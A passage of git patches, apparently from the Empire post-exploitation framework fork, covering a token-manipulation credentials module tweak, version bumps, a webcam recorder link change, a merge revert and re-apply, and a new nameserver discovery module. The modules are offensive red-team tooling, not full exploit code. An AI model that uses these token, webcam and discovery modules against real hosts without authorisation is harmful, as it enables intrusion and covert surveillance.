script_end += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize" + script_end += ( + f" | {outputf} | " + + '%{$_ + "`n"};"`n' + + str(module.name.split("/")[-1]) + + ' completed!"' + ) + else: + script_end += ( + f" | {outputf} | " + + '%{$_ + "`n"};"`n' + + str(module.name.split("/")[-1]) + + ' completed!"' + ) + if params["RevToSelf"].lower() != "true": + script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/tokens.yaml b/empire/server/modules/powershell/credentials/tokens.yaml index 205c84702..23b5372fc 100644 --- a/empire/server/modules/powershell/credentials/tokens.yaml +++ b/empire/server/modules/powershell/credentials/tokens.yaml @@ -12,7 +12,7 @@ techniques: - T1134 background: false output_extension: -needs_admin: false +needs_admin: true opsec_safe: true language: powershell min_language_version: '2' From 541146c352bfe267c18de83132b1926a7810b948 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Wed, 4 Sep 2024 03:30:42 +0000 Subject: [PATCH 05/10] Prepare release 5.11.3 private --- CHANGELOG.md | 10 +++++++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 92ad0ac97..586eea84f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,10 +14,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.11.3] - 2024-09-04 + ### Changed + - Updated Rubeus to v2.3.2 (@Cx01N) ### Fixed + - Fixed Rubeus error where only first arg was being used (@Cx01N) - Fixed background jobs checking in continuously (@Cx01N) - Fixed Rubeus killing agent when certain options were given that use System.Environment.Exit (@Cx01N) @@ -27,9 +31,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.11.2] - 2024-08-08 ### Added + - Added Route4Me to sponsor page on Empire (@Cx01N) ### Fixed + - Fixed global obfuscation bug in listener staging (@Cx01N) ## [5.11.1] - 2024-07-23 @@ -904,7 +910,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.2...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.3...HEAD + +[5.11.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.2...v5.11.3 [5.11.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.1...v5.11.2 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 534a559c6..c3a5c1c38 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.11.2 BC Security Fork" +VERSION = "5.11.3 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index b7625d181..23e4c7e6e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.11.2" +version = "5.11.3" description = "" authors = ["BC Security "] readme = "README.md" From 6257ee2de81a83d9c95da98a8d551abc66ca1f9f Mon Sep 17 00:00:00 2001 From: Vladimir-A <32281993+Vladimir-A@users.noreply.github.com> Date: Wed, 4 Sep 2024 06:51:07 +0300 Subject: [PATCH 06/10] Update WebcamRecorder.yaml (#742) Updated link to script source code --- empire/server/modules/powershell/collection/WebcamRecorder.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/empire/server/modules/powershell/collection/WebcamRecorder.yaml b/empire/server/modules/powershell/collection/WebcamRecorder.yaml index 26b1744bf..e2e8dadb9 100644 --- a/empire/server/modules/powershell/collection/WebcamRecorder.yaml +++ b/empire/server/modules/powershell/collection/WebcamRecorder.yaml @@ -16,7 +16,7 @@ language: powershell min_language_version: '2' comments: - comment - - https://github.com/xorrior/RandomPS-Scripts/blob/master/Start-WebcamRecorder.ps1 + - https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-DXWebcamVideo.ps1 options: - name: Agent description: Agent to run the module on. From 4c3f7766d3c0c2b012da4f7e5926a170527e9e48 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Tue, 3 Sep 2024 21:00:15 -0700 Subject: [PATCH 07/10] Revert "Merge branch 'main' into private-main" This reverts commit 45bd7d2b921d76ff2b9cfbaa3ce1e5625ccf48d1, reversing changes made to 6da438e1a0bb69373df63c6acc88582a3ea02476. --- CHANGELOG.md | 17 ----- docs/README.md | 5 +- empire/server/config.yaml | 4 +- .../python/discovery/nameserver.py | 72 ------------------- .../modules/python/discovery/nameserver.yaml | 23 ------ 5 files changed, 6 insertions(+), 115 deletions(-) delete mode 100644 empire/server/data/module_source/python/discovery/nameserver.py delete mode 100644 empire/server/modules/python/discovery/nameserver.yaml diff --git a/CHANGELOG.md b/CHANGELOG.md index 140048c5e..586eea84f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,10 +14,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] -### Added - -- Added nameserver check for linux hosts (@0x636f646f) - ## [5.11.3] - 2024-09-04 ### Changed @@ -101,10 +97,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Removed BypassUACCommand due to compatibility with only Covenant (@Cx01N) ## [5.10.2] - 2024-05-05 -- Updated Starkiller to v2.8.1 ## [5.10.1] - 2024-04-26 -- Updated Starkiller to v2.8.0 ### Added @@ -145,7 +139,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed module generation error in ComputerDetails (@Cx01N) ## [5.9.5] - 2024-02-22 -- Updated Starkiller to v2.7.3 ## [5.9.4] - 2024-02-17 @@ -166,7 +159,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed skywalker exploit (again) and added tests (@Cx01N) ## [5.9.2] - 2024-01-31 -- Updated Starkiller to v2.7.2 ### Fixed @@ -251,7 +243,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed the publishing of docker images to go to the correct DockerHub coordinate (@Vinnybod) ## [5.8.1] - 2023-11-30 -- Updated Starkiller to v2.7.1 ### Added @@ -326,7 +317,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.7.3] - 2023-10-17 -- Updated Starkiller to v2.6.1 - Fixed global obfuscation not working on modules (@Cx01N) - Added bypass module in PowerShell to run bypasses after agent is staged (@Cx01N) - Fixed IronPython and Python stagers not getting obfuscation applied (@Cx01N) @@ -359,7 +349,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.6.3] - 2023-08-27 -- Updated Starkiller to v2.5.3 - Added Advanced Reporting Plugin and dependencies (@Cx01N) - Pin linters in the workflow - Catch error when starting up database that was seeded by an older version of Empire (@Vinnybod) @@ -391,11 +380,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fix changelog link in README (@theguly) ## [5.5.4] - 2023-07-20 -- Updated Starkiller to v2.4.3 ## [5.5.3] - 2023-07-20 -- Updated Starkiller to v2.4.2 - Updated restip message to show IP address on server (@Cx01N) - Fixed onedrive taskings for powershell (@Cx01N) - Update pyyaml to 6.0.1 to avoid build issue from cython (@Vinnybod) @@ -445,7 +432,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.4.2] - 2023-06-07 -- Updated Starkiller to v2.3.2 - Fixed python modules not running properly (Cx01N) - Updated python multi_socks to run with Python 3 (Cx01N) @@ -469,7 +455,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.2.2] - 2023-04-30 -- Updated Starkiller to v2.2.0 - Dependency upgrades (@Vinnybod) ## [5.2.1] - 2023-04-30 @@ -495,7 +480,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.1.2] - 2023-03-29 -- Updated Starkiller to v2.1.1 - Removed thread from IronPython agent (@Hubbl3) - Fixed foreign listener issue with cookies (@Hubbl3) - Fixed error message handling for port forward pivot (@Cx01N) @@ -528,7 +512,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.0.3] - 2023-02-20 -- Updated Starkiller to v2.0.5 - Fix Invoke-Kerberoast with etype 17 or 18 (@AdrianVollmer) - Add 3.11 support, bump Dockerfile to 3.11, bump Debian install to 3.8.16 (@Cx01N) - Update the GitHub actions to remove usages of deprecated ::set-output function (@Vinnybod) diff --git a/docs/README.md b/docs/README.md index 06e9528bf..883e64314 100644 --- a/docs/README.md +++ b/docs/README.md @@ -44,7 +44,10 @@ Empire is a post-exploitation and adversary emulation framework that is used to * And Many More ## Sponsors -       [](https://www.route4me.com) + +       [](https://www.sans.org/cyber-security-courses/red-team-operations-adversary-emulation/) + +      [![](https://user-images.githubusercontent.com/20302208/208271681-235c914b-5359-426e-8a3d-903bbd018847.png)](https://www.cybrary.it/)    ## Help us Improve! diff --git a/empire/server/config.yaml b/empire/server/config.yaml index d35a3816b..1825b9db0 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -44,10 +44,10 @@ database: ip-blacklist: "" starkiller: enabled: true - repo: https://github.com/BC-SECURITY/Starkiller.git + repo: git@github.com:BC-SECURITY/Starkiller-Sponsors.git directory: empire/server/api/v2/starkiller # Can be a branch, tag, or commit hash - ref: v2.8.1 + ref: sponsors-main auto_update: true submodules: auto_update: true diff --git a/empire/server/data/module_source/python/discovery/nameserver.py b/empire/server/data/module_source/python/discovery/nameserver.py deleted file mode 100644 index 27aa7b895..000000000 --- a/empire/server/data/module_source/python/discovery/nameserver.py +++ /dev/null @@ -1,72 +0,0 @@ -#!/usr/bin/env python3 -"""Module for finding local nameserver - -Retrieve the local nameserver from resolv.conf -Author: 0x636f646f -""" - -import glob -import re - - -def check_for_resolv() -> list: - """Check for the resolv.conf file""" - resolv_conf_file = glob.glob('/etc/resolv.conf') - if resolv_conf_file: - return resolv_conf_file - return [] - - -def list_check(resolv_file) -> None: - """Return exception if list empty""" - if resolv_file: - return - if not resolv_file: - raise ValueError('resolv.conf not found!') - - -def nameserver_regex_check(resolv_file) -> str: - """return the nameserver ip""" - pattern = re.compile(rb'^\w+\s(?P\d+\.\d+\.\d+\.\d+)$') - nameserver = None - - if resolv_file: - with open(resolv_file[0], 'rb') as r_file: - for line in r_file.readlines(): - match = pattern.match(line) - if match: - nameserver = match.group('nameserver').decode('utf-8') - break - - return nameserver - - -def return_nameserver_ip(nameserver_ip) -> str: - """Print the nameserver if found""" - if not nameserver_ip: - raise ValueError("Nameserver not found!") - return nameserver_ip - - -def main() -> None: - """Execute the program""" - resolv_file = check_for_resolv() - list_check(resolv_file) - nameserver_ip_search = nameserver_regex_check(resolv_file) - nameserver_ip = return_nameserver_ip(nameserver_ip_search) - print(nameserver_ip) - - -# Comment out the functions/variables and uncomment -# if __name__ == '__main__' block when using as a standalone script. - - -resolv_file = check_for_resolv() -list_check(resolv_file) -nameserver_ip_search = nameserver_regex_check(resolv_file) -nameserver_ip = return_nameserver_ip(nameserver_ip_search) -print(nameserver_ip) - - -# if __name__ == '__main__': -# main() diff --git a/empire/server/modules/python/discovery/nameserver.yaml b/empire/server/modules/python/discovery/nameserver.yaml deleted file mode 100644 index b146fc456..000000000 --- a/empire/server/modules/python/discovery/nameserver.yaml +++ /dev/null @@ -1,23 +0,0 @@ -name: Nameserver IP -authors: - - name: '0x636f646f' - handle: '@BuildAndDestroy' - link: https://github.com/BuildAndDestroy -description: Retrieve the nameserver IPv4 Address -software: '' -techniques: - - T1016.001 -background: false -output_extension: '' -needs_admin: false -opsec_safe: false -language: python -min_language_version: '3.6' -comments: - - https://attack.mitre.org/techniques/T1016/001/ -options: - - name: Agent - description: Agent to execute module on - required: true - value: '' -script_path: 'python/discovery/nameserver.py' From a4584b1797f52157f53b52b806143b12930bf0f0 Mon Sep 17 00:00:00 2001 From: cmitcho <81778357+cmitcho@users.noreply.github.com> Date: Tue, 3 Sep 2024 21:52:36 -0600 Subject: [PATCH 08/10] nameserver: discover nameserver within environment of this host (#741) * nameserver: discover nameserver within environment of this host * CHANGELOG.md: Update the changelog * fixit! Add CHANGELOG.md verbiage that was removed * Update CHANGELOG.md Co-authored-by: Vincent Rose * fixit! Update author name as string Seems the author name is being interpreted as byte data using the GitHub install. --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 4 ++ .../python/discovery/nameserver.py | 72 +++++++++++++++++++ .../modules/python/discovery/nameserver.yaml | 23 ++++++ 3 files changed, 99 insertions(+) create mode 100644 empire/server/data/module_source/python/discovery/nameserver.py create mode 100644 empire/server/modules/python/discovery/nameserver.yaml diff --git a/CHANGELOG.md b/CHANGELOG.md index 586eea84f..e61f4f451 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Added + +- Added nameserver check for linux hosts (@0x636f646f) + ## [5.11.3] - 2024-09-04 ### Changed diff --git a/empire/server/data/module_source/python/discovery/nameserver.py b/empire/server/data/module_source/python/discovery/nameserver.py new file mode 100644 index 000000000..27aa7b895 --- /dev/null +++ b/empire/server/data/module_source/python/discovery/nameserver.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python3 +"""Module for finding local nameserver + +Retrieve the local nameserver from resolv.conf +Author: 0x636f646f +""" + +import glob +import re + + +def check_for_resolv() -> list: + """Check for the resolv.conf file""" + resolv_conf_file = glob.glob('/etc/resolv.conf') + if resolv_conf_file: + return resolv_conf_file + return [] + + +def list_check(resolv_file) -> None: + """Return exception if list empty""" + if resolv_file: + return + if not resolv_file: + raise ValueError('resolv.conf not found!') + + +def nameserver_regex_check(resolv_file) -> str: + """return the nameserver ip""" + pattern = re.compile(rb'^\w+\s(?P\d+\.\d+\.\d+\.\d+)$') + nameserver = None + + if resolv_file: + with open(resolv_file[0], 'rb') as r_file: + for line in r_file.readlines(): + match = pattern.match(line) + if match: + nameserver = match.group('nameserver').decode('utf-8') + break + + return nameserver + + +def return_nameserver_ip(nameserver_ip) -> str: + """Print the nameserver if found""" + if not nameserver_ip: + raise ValueError("Nameserver not found!") + return nameserver_ip + + +def main() -> None: + """Execute the program""" + resolv_file = check_for_resolv() + list_check(resolv_file) + nameserver_ip_search = nameserver_regex_check(resolv_file) + nameserver_ip = return_nameserver_ip(nameserver_ip_search) + print(nameserver_ip) + + +# Comment out the functions/variables and uncomment +# if __name__ == '__main__' block when using as a standalone script. + + +resolv_file = check_for_resolv() +list_check(resolv_file) +nameserver_ip_search = nameserver_regex_check(resolv_file) +nameserver_ip = return_nameserver_ip(nameserver_ip_search) +print(nameserver_ip) + + +# if __name__ == '__main__': +# main() diff --git a/empire/server/modules/python/discovery/nameserver.yaml b/empire/server/modules/python/discovery/nameserver.yaml new file mode 100644 index 000000000..b146fc456 --- /dev/null +++ b/empire/server/modules/python/discovery/nameserver.yaml @@ -0,0 +1,23 @@ +name: Nameserver IP +authors: + - name: '0x636f646f' + handle: '@BuildAndDestroy' + link: https://github.com/BuildAndDestroy +description: Retrieve the nameserver IPv4 Address +software: '' +techniques: + - T1016.001 +background: false +output_extension: '' +needs_admin: false +opsec_safe: false +language: python +min_language_version: '3.6' +comments: + - https://attack.mitre.org/techniques/T1016/001/ +options: + - name: Agent + description: Agent to execute module on + required: true + value: '' +script_path: 'python/discovery/nameserver.py' From fdd6a241379a4a74dc423dc39ef4b60bbbfa4e83 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Wed, 4 Sep 2024 04:04:28 +0000 Subject: [PATCH 09/10] Prepare release 5.11.4 private --- CHANGELOG.md | 6 +++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e61f4f451..c663361fc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.11.4] - 2024-09-04 + ### Added - Added nameserver check for linux hosts (@0x636f646f) @@ -914,7 +916,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.3...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.4...HEAD + +[5.11.4]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.3...v5.11.4 [5.11.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.2...v5.11.3 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index c3a5c1c38..09fddaf9c 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.11.3 BC Security Fork" +VERSION = "5.11.4 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 23e4c7e6e..c6a969a6e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.11.3" +version = "5.11.4" description = "" authors = ["BC Security "] readme = "README.md" From f083adad1095b8ca993c5eaffbf0f4aad30f9bf0 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Tue, 3 Sep 2024 21:22:25 -0700 Subject: [PATCH 10/10] Reapply "Merge branch 'main' into private-main" This reverts commit 4c3f7766d3c0c2b012da4f7e5926a170527e9e48. --- CHANGELOG.md | 13 +++++++++++++ docs/README.md | 5 +---- empire/server/config.yaml | 4 ++-- 3 files changed, 16 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c663361fc..0096643c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -103,8 +103,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Removed BypassUACCommand due to compatibility with only Covenant (@Cx01N) ## [5.10.2] - 2024-05-05 +- Updated Starkiller to v2.8.1 ## [5.10.1] - 2024-04-26 +- Updated Starkiller to v2.8.0 ### Added @@ -145,6 +147,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed module generation error in ComputerDetails (@Cx01N) ## [5.9.5] - 2024-02-22 +- Updated Starkiller to v2.7.3 ## [5.9.4] - 2024-02-17 @@ -165,6 +168,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed skywalker exploit (again) and added tests (@Cx01N) ## [5.9.2] - 2024-01-31 +- Updated Starkiller to v2.7.2 ### Fixed @@ -249,6 +253,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed the publishing of docker images to go to the correct DockerHub coordinate (@Vinnybod) ## [5.8.1] - 2023-11-30 +- Updated Starkiller to v2.7.1 ### Added @@ -323,6 +328,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.7.3] - 2023-10-17 +- Updated Starkiller to v2.6.1 - Fixed global obfuscation not working on modules (@Cx01N) - Added bypass module in PowerShell to run bypasses after agent is staged (@Cx01N) - Fixed IronPython and Python stagers not getting obfuscation applied (@Cx01N) @@ -355,6 +361,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.6.3] - 2023-08-27 +- Updated Starkiller to v2.5.3 - Added Advanced Reporting Plugin and dependencies (@Cx01N) - Pin linters in the workflow - Catch error when starting up database that was seeded by an older version of Empire (@Vinnybod) @@ -386,9 +393,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fix changelog link in README (@theguly) ## [5.5.4] - 2023-07-20 +- Updated Starkiller to v2.4.3 ## [5.5.3] - 2023-07-20 +- Updated Starkiller to v2.4.2 - Updated restip message to show IP address on server (@Cx01N) - Fixed onedrive taskings for powershell (@Cx01N) - Update pyyaml to 6.0.1 to avoid build issue from cython (@Vinnybod) @@ -438,6 +447,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.4.2] - 2023-06-07 +- Updated Starkiller to v2.3.2 - Fixed python modules not running properly (Cx01N) - Updated python multi_socks to run with Python 3 (Cx01N) @@ -461,6 +471,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.2.2] - 2023-04-30 +- Updated Starkiller to v2.2.0 - Dependency upgrades (@Vinnybod) ## [5.2.1] - 2023-04-30 @@ -486,6 +497,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.1.2] - 2023-03-29 +- Updated Starkiller to v2.1.1 - Removed thread from IronPython agent (@Hubbl3) - Fixed foreign listener issue with cookies (@Hubbl3) - Fixed error message handling for port forward pivot (@Cx01N) @@ -518,6 +530,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [5.0.3] - 2023-02-20 +- Updated Starkiller to v2.0.5 - Fix Invoke-Kerberoast with etype 17 or 18 (@AdrianVollmer) - Add 3.11 support, bump Dockerfile to 3.11, bump Debian install to 3.8.16 (@Cx01N) - Update the GitHub actions to remove usages of deprecated ::set-output function (@Vinnybod) diff --git a/docs/README.md b/docs/README.md index 883e64314..06e9528bf 100644 --- a/docs/README.md +++ b/docs/README.md @@ -44,10 +44,7 @@ Empire is a post-exploitation and adversary emulation framework that is used to * And Many More ## Sponsors - -       [](https://www.sans.org/cyber-security-courses/red-team-operations-adversary-emulation/) - -      [![](https://user-images.githubusercontent.com/20302208/208271681-235c914b-5359-426e-8a3d-903bbd018847.png)](https://www.cybrary.it/)    +       [](https://www.route4me.com) ## Help us Improve! diff --git a/empire/server/config.yaml b/empire/server/config.yaml index 1825b9db0..d35a3816b 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -44,10 +44,10 @@ database: ip-blacklist: "" starkiller: enabled: true - repo: git@github.com:BC-SECURITY/Starkiller-Sponsors.git + repo: https://github.com/BC-SECURITY/Starkiller.git directory: empire/server/api/v2/starkiller # Can be a branch, tag, or commit hash - ref: sponsors-main + ref: v2.8.1 auto_update: true submodules: auto_update: true